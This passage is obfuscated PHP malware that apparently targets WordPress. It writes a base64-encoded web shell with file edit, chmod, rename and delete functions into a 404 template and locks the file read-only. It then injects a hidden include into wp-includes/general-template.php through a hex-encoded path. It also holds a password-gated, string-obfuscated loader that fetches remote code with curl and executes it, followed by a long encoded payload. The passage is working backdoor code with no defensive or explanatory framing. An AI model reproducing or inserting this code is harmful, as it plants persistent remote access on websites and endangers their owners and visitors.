MrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); } error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/xswop4u1ust1/public_html/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkamN2cyA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRQWkdTPSR7JGpjdnNbMzFdLiRqY3ZzWzU5XS4kamN2c1s0N10uJGpjdnNbNDddLiRqY3ZzWzUxXS4kamN2c1s1M10uJGpjdnNbNTddfTtAKGNvdW50KCRQWkdTKT09MjMmJmluX2FycmF5KGdldHR5cGUoJFBaR1MpLmNvdW50KCRQWkdTKSwkUFpHUykpPygoJFBaR1NbNjldPSRQWkdTWzY5XS4kUFpHU1s3NV0pJiYoJFBaR1NbODldPSRQWkdTWzY5XSgkUFpHU1s4OV0pKSYmKEAkUFpHUz0kUFpHU1s4OV0oJFBaR1NbNjBdLCRQWkdTWzY5XSgkeyRQWkdTWzUwXX1bMjZdKSkpJiYkUFpHUygpKTokUFpHUzsgJG91WFVCdiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRicU1qID0gYXJyYXkoQCR7JG91WFVCdlszMV0uJG91WFVCdls1NV0uJG91WFVCdls1N10uJG91WFVCdls0Ml19WyRvdVhVQnZbNjFdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNjFdLiRvdVhVQnZbMzddXSwgJG91WFVCdlsyN10uJG91WFVCdlsxMl0uJG91WFVCdlsyNV0uJG91WFVCdlsyOV0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyNF0uJG91WFVCdls5XS4kb3VYVUJ2WzE2XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzEwXS4kb3VYVUJ2WzIxXS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzE2XSwgJG91WFVCdlsxMV0uJG91WFVCdlsxMF0uJG91WFVCdlsxMl0uJG91WFVCdlszMV0uJG91WFVCdlsxMl0uJG91WFVCdlsxNV0uJG91WFVCdlsxMF0uJG91WFVCdls3N10uJG91WFVCdls3NV0sICRvdVhVQnZbMjBdLiRvdVhVQnZbMTFdLiRvdVhVQnZbMTVdLiRvdVhVQnZbMTZdLiRvdVhVQnZbMzFdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLiRvdVhVQnZbMjddLiRvdVhVQnZbMTVdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLCRvdVhVQnZbMTRdLiRvdVhVQnZbMjldLiRvdVhVQnZbMjddLiRvdVhVQnZbMTldLCAkb3VYVUJ2WzI4XS4kb3VYVUJ2WzI5XS4kb3VYVUJ2WzExXS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzcyXS4kb3VYVUJ2Wzc0XS4kb3VYVUJ2WzMxXS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XSwgJG91WFVCdlsyNF0uJG91WFVCdlsyMV0uJG91WFVCdlsxOF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyM10uJG91WFVCdlsyNV0uJG91WFVCdlsxMF0uJG91WFVCdlszMV0uJG91WFVCdlsyN10uJG91WFVCdlsxNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsxMV0sIEAkeyRvdVhVQnZbMzFdLiRvdVhVQnZbNTVdLiRvdVhVQnZbNTddLiRvdVhVQnZbNDJdfVskb3VYVUJ2WzE1XS4kb3VYVUJ2WzI0XV0sKTsgJENkVCA9ICRicU1qWzJdKCRicU1qWzBdKTskdUUgPSBAJGJxTWpbNF0oJG91WFVCdls1NF0uJG91WFVCdls4NF0sICRDZFQpOyR1RndqUSA9ICRicU1qWzNdKCR1RSwgdHJ1ZSk7ICRicU1qWzddID09IDEgJiYgZGllKCRicU1qWzZdKF9fRklMRV9fKSk7IGlmICgoJHVGd2pRWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJHVGd2pRWzJdKSkgPT09ICJjOGU1NTM5MWVkZDU1NDBjM2JiOGFjMmNmOTU5OWRkNyIpIHsgJEl2WHNQID0gY3VybF9pbml0KCR1RndqUVsxXSk7IGN1cmxfc2V0b3B0KCRJdlhzUCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICR6b2lNID0gY3VybF9leGVjKCRJdlhzUCk7JEtGY00gPSBlbXB0eSgkem9pTSk/JGJxTWpbNl0oJHVGd2pRWzFdKTokem9pTTtAJGJxTWpbMV0oIiIsICRvdVhVQnZbMV0gLiAkYnFNals1XSgkS0ZjTSkgLiAkb3VYVUJ2Wzc5XS4kb3VYVUJ2Wzg0XSk7IGRpZTt9ICRYRkdaTiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRBekY9JFhGR1pOWzI3XS4kWEZHWk5bMTJdLiRYRkdaTlsyNV0uJFhGR1pOWzI5XS4kWEZHWk5bMTBdLiRYRkdaTlsyNV0uJFhGR1pOWzMxXS4kWEZHWk5bMjRdLiRYRkdaTls5XS4kWEZHWk5bMTZdLiRYRkdaTlsyN10uJFhGR1pOWzEwXS4kWEZHWk5bMjFdLiRYRkdaTlsxNV0uJFhGR1pOWzE2XTsgJG9EeE1KPUAkQXpGKCRYRkdaTls5MF0uJFhGR1pOWzMxXSwkWEZHWk5bMjVdLiRYRkdaTls4XS4kWEZHWk5bMjldLiRYRkdaTlsxOF0uJFhGR1pOWzg2XS4kWEZHWk5bOTJdLiRYRkdaTls2M10uJFhGR1pOWzY0XS4kWEZHWk5bOTJdLiRYRkdaTls4MF0uJFhGR1pOWzI4XS4kWEZHWk5bMjldLiRYRkdaTlsxMV0uJFhGR1pOWzI1XS4kWEZHWk5bNzJdLiRYRkdaTls3NF0uJFhGR1pOWzMxXS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzI3XS4kWEZHWk5bMTVdLiRYRkdaTlsyNl0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsxMV0uJFhGR1pOWzEwXS4kWEZHWk5bMTJdLiRYRkdaTlszMV0uJFhGR1pOWzEyXS4kWEZHWk5bMTVdLiRYRkdaTlsxMF0uJFhGR1pOWzc3XS4kWEZHWk5bNzVdLiRYRkdaTls4Nl0uJFhGR1pOWzIzXS4kWEZHWk5bNF0uJFhGR1pOWzIxXS4kWEZHWk5bMTZdLiRYRkdaTlsyNF0uJFhGR1pOWzE4XS4kWEZHWk5bMjldLiRYRkdaTlsxMF0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsyOF0uJFhGR1pOWzI5XS4kWEZHWk5bMTFdLiRYRkdaTlsyNV0uJFhGR1pOWzcyXS4kWEZHWk5bNzRdLiRYRkdaTlszMV0uJFhGR1pOWzI2XS4kWEZHWk5bMjVdLiRYRkdaTlsyN10uJFhGR1pOWzE1XS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzg2XS4kWEZHWk5bMTFdLiRYRkdaTlsxMF0uJFhGR1pOWzEyXS4kWEZHWk5bMzFdLiRYRkdaTlsxMl0uJFhGR1pOWzE1XS4kWEZHWk5bMTBdLiRYRkdaTls3N10uJFhGR1pOWzc1XS4kWEZHWk5bODZdLiRYRkdaTls5MF0uJFhGR1pOWzMxXS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bNjddKTtAJG9EeE1KKCJlSWFXdGRZWFJpMnRoalJmK21uWWcwUE14eFNEdXlFM25ZcnlQTlZYRkNZMVlrVnBIWHpkZWE1aWpITHV2QlVSdkVDV3JaZFVPMitGVTFrSHpQNlg1YUwyR290dUwyY1FNYlR4THJkZEMza0NWeHFDM08wODZHMk1vYVhRWDRiMFJSdDJNcWFaQXE1VXFlYnJFSW5xbnBBbTVjV3FIeWRtZ1FXM1RGQkRibG44WEY3WVZOcG92Y2tLbkwzdjFCU0tjaE1IY2g2aWMrWTYzNno0bGExN3h6QjNWVkx6eG9GcDhZN2VFVGFnUVpUc0JVWnFXZ0JLdEc5eS9pVGF4NDFpTStyZXdtdm44QkFsUmhOYm1DVHQ4b3I5bTA2UWhvVkU3VVZQZ2QyMUpINUppeE12YW9pbnlGV0dTMFhxaDc2bUppaXI5czcyTnkvdWlLd2UyOVlJMzVoaVc1VE1BL3I1NXQ3aFhqamhtMTlnSnhIbkduZFFsMjlBaHBkQzRySE0rKzVHNnpTdmZpbDdiSGlhdDUwVVA2NXRaZjlYUytqektQdHhLRVF6ZzhvaEwxM3JlWUU0OHc1UG1CKzVtWCtvckExdnk5RGQ1UkFkYTNxRUFLOTVtK0RrZzJER2NOQmNsUWpITDVvV2s3WDFHdFhXWjdFanVJMjJsU2pPTGNKRldKWUpiMHEvYkZNYngzWWJONy8zQjRBbXpWQ1RvL0tjQmdSOVZNZ1UrS01ySWVoUWFTVnNJMU5tZmVOYUluVjVRVFBWekNNZW1naWV6eitwTFI3THRLOHhQcEVOeWpSS2FJdjEyWnorNStDSXljRGhxVmJJeVY3VnI1ZGx4U0M3N3FzL3pnc1pWNlJjTWthdFkzL1g1RDAzbXJIa0kxbWwxOS83Zm9uei9qZzJvb1dXWUdGNTlFMEZXdUovRHVKY1JIcXhGSlpVZElkcE5LZ2ZKYnNINWpjOGNld2U5U1ExMlRyRHkzRXRERjRSRGEwMXFPak1yZUtQTjRUT005eDBGaUJrOGNMaW9wdVNXLy9LaWJWbkt6V2c3OEFFcmZyWEYyZXNZZ0xjbGpBVTRCVlZDSjlQL2tlNnBoM29FaDI3anQ1NHRjYXMvVW1TTkNNRHlBdkc3SXZyT1RDak1JU25kOGxHYlg4anI5UTJ5RzVqSlpRVGZUQ3dnRjg5WEdlWDF6Q3JKOS9oQ1JJNHBhRVdhVWFZU3BEVytxaHNRZ2NqYURUc21NK3Nvbi9YbkNZbmlHcS82Y0MyWnRMRHQ4Q1VjdjdnSHgrUjN5Y2gvV3pOMVRiL0l1M2N1T09yMHk2Tnp6L2hDQUo1WWg4TllRQ1dqWFk1QnY5Zm4wZHNIMXVZMUl5T0hFa3J4a1FUUnZUK2p0YmQyTmkvUTdNUkZIS2xLOWd2dVlTRlFFMkV5SUVNTUUyU0VxRmluVHlLQ3N6MG13RStzRFBta0JJUWxQS3hBOGtTU2ZhWHdPckVqM3FncFU5Y2oxSkxDc3ZKWUVJVGZBUFp3V0hsL0NpTHpVcGZWcFNFSkRSZW1BZlQ1Z1NzMUkrZ3hOYzJFbU5LWUxIVmViRThmUUtlZ0xJcTRxR2pEKzFmemE1Z29EQTJScjM3cDI4ZnkxeFJhT2hvNlRDQmk5dFhqWjkxSGNoN29mbGxCYURJeWlyRVY0eDBxenp6ZWkveEtJMHJ1Q3FUMUIvNVdvcHo1T282Y3g2dm9jM1ZGWGM0blMxK3VUTWJFQmhoVnBmT21oM2dqSE1RalJsU0JlM0JPMDl0MGZOZlJlZ2JwcFN5dE5obEFyaHMzRWN0Y0dZVUJiZnFuRExwZHRlRE4rTlU4VEVzL2ZKWTdqb1poV0VHZE0zcitqNm5wcVpOaUt5S3pVazV1ZTdkNTVMS29nbnZ3ZjVjNmpNcHVGK20rYjZXM2NlcE14azdhSkZZV1c1TlR1OHVVanFSbmo2NDVXa0E0aVZRaXBJT1FvdGFGc3hrLzRSVE1SUC9ISGtHczY0cDM0Qlc1dGRuKysxMkdnbXpRWnFQR0xkcXJzeHFaNXpRb1hiRVpmTlRGNVZPaGhiNjZDeGpaVGgrOW9Ud1pLUVovTkE4ZkN4andqWnVHYzdyNmpwekZKZ0ZVa1JzenVkWC9XWCtqNmJBb0Urb3BjdC8vNjltamxZRTFZWE1ybDV0UGlWM1MxL2UveFNDZ1lLR1Arb25PbVFLMy9IWUtiK3JxUVZUelpROFZiUE1sM2x3L0FKQ3JMQ3dnNXpZZ2N4QVRXOU1BcGtPMHpRbzRKOExGblRhWEJudXMyOGtOSDRoN2tDN2huSUtQNU9HTmlUb1NCaHEvOFVodTdlK3RiZkI5aDhuaTU5ZTZGbUJVM2k1Y3c4bjdoUTlkRTlQd0tnMUlrL2kzVUMwa1EzS0p5UXE4RnI5cGdaRHhOK0JueUtEOXdDME1hTmJvQ3JvRnNKdDUrOTZRaWx1QmhtZ1ZuODA3OUR6bllRaHdpRTJwVklrY3Q0M1RhVXhEMUhWZGhmdFozTlQ0UC8wK3JBaDFVWVllWFZrREovcjNrQnkvNzViRk44bXRCQzNycEJTcFkrWVArTmdHYlBNTkdjbE03ZDBlaU9zSkhVQ2NvOEtScjI5OVMwVVVIcjEzSXVoOUlsQ203OVJMaFl3bVBsSEp3dHRPeHp0WURIN2hCSjBCaHdKUHNFajFya2piT0lzcVBUcTAxTzMwT2xCRnhsNEFiVWZGWGVkOFNCVzhTQlNUTDRiVThDZjhLRlR2Wk83ZUo2MFVNWWJTeEMxNVVycnNySGtuRDA0dUkxS3Z1ZHE3aU5YNk82ZHNFWVpTUGNsWU53b29UbkVIZFJjYmVCVzVvUlh6T2VxNjUyb2dZKzBZMlpsNlZqRTFzMVdFdUJMRzFKQkZsQzNBc0ZycnVZSWVscklER1hkeE5rcDM4NU1nZFFuak5WOTFlbG1NKzk0bGlVS0FpN1hvOExwZGxGbTFSY2xXWGR1SkMrQy9McU1ZdkNUeG5ITXp3STJsZStDYjgvSkZtbXNkR1VIRDFTNUlIWDhXcDB4VEdRbGh3ZjhDRDhtcTUzVk9NMjlxQm5UdnJocEdHeGlzRWYweisyS3Y0cUxuUi9PNzJLMTJZZ0FZMWI3bGdVM3IyVXp5VFI1eWxwUzFETHpwT0swNnJmKzVPWExRcFB5YXg5YVlhUDVnSHg0QndzYnI4WWgvODhwLzVtd0oxa25vVUttK1pjc3E1ZnM3WFRQdmFESE04NTZ2U3dtWVovalJpV29VUGd3RUpzeGlxbksyR25qYnpEdDdNYzZBVHBweGsrWTZCcDMrVFM1ajEvUTZsNWJ0eFNUMGlZd3IzMFNNYnZxN3BtblBVYzQ0TkIvZVV1SC9nbXUrVU0yOVVQenBBUFNoQVNBQ29sdUFLMlBxRVV1em5EUGF1MDhFZUJzQTcrLzlqa2JSK0toUjQ1NitkcnFoSlNuODBrUDkxVjduMldYNDlJaDBNeFlHOWJpY2lnQW8rOGxjdGpwUGFmQlR4VUNBNytjUnIzcUZMM1lFYWZsUEp2andYQ2F1QTk2aXp1dzRKZkdnQkhlaWNmTEc2elVxNWE3WjZxN3NrQm9nM21SRlA5QlU1N2dMWUtJUzExZk5QcVhmVUhjZlMvTlF5UXFwa21rOHhXaG11YXJtbmE2SkFpbzgva1Z1UzMwcm5uTml5Z2FxZlpBNFdCa0Z3RkVzcGVBMXFNV2RFa094dWZoaVozS1BtcmpFdFE4RFJRWVFudSsrcGVpWlZOcVBlRUlpeDNxVnlrajY5K053L0hBVWw1NkIxUFpRd241SzZaVjhPVTU1MUptcmpPS3lMejdZUnN5Y1FtSFQ4Y3FNS1orVi9mL3NUckdZMkhldG1sM002cE9tc3B3U2s0ZGVaeTY0RWVkOFhsTyt5R3k5aWxRNnUwRzN0STY3M1NDNnBSOGtOQzdZYW5uaHFRYlpGeCt0TjVocXVQZG9tL3dTYXpsOW8vVlkvS2F6S0JPZzJnR08wMVQrcVZHMWROR0c4M01sakhRSVRwK2t3TldKdDZEYnlFK0JSaHdnbi9GalZVcTg3Y21TdmhRNEl6eTN1OUh1VS9XWjFMMFJYY0dDSzJYS2tlUWl2Z1ZYaURWdjhwWEY1L2kyZGgrZ2lzUjlyUW1VYVhqaHJsVWEyYVhhYTUxY3ZYUTZPYVdIdEdBdVNHVW4vUGNLQlh6K2xpMzllMExKSlRkSWJHbmlDSVlrOC9iejM3WFJhVk4vQjErWXcvN09lbStjSi8zemFvOXZDL053ajR6Qm1IbmRBK2ZyTGc1RVorWlBUdEI0Uk14MytCNDdGL0g1YnFhaGwyaTA3ejBJT09hbnl6a2ROaDZpMitDVWlhRTZhclhIK2VhK2lkZ0wvaThlbkNhR1RXbWptSzllZ1loSmovOHl0NmxBRzNVL3prS3I1emdleFEzd0tqTUcvbndpQnJwNUM2Z2RwVXVWYzVneS9WeEt4NWFobllrUlcrTGQvTy9id3lvaGVae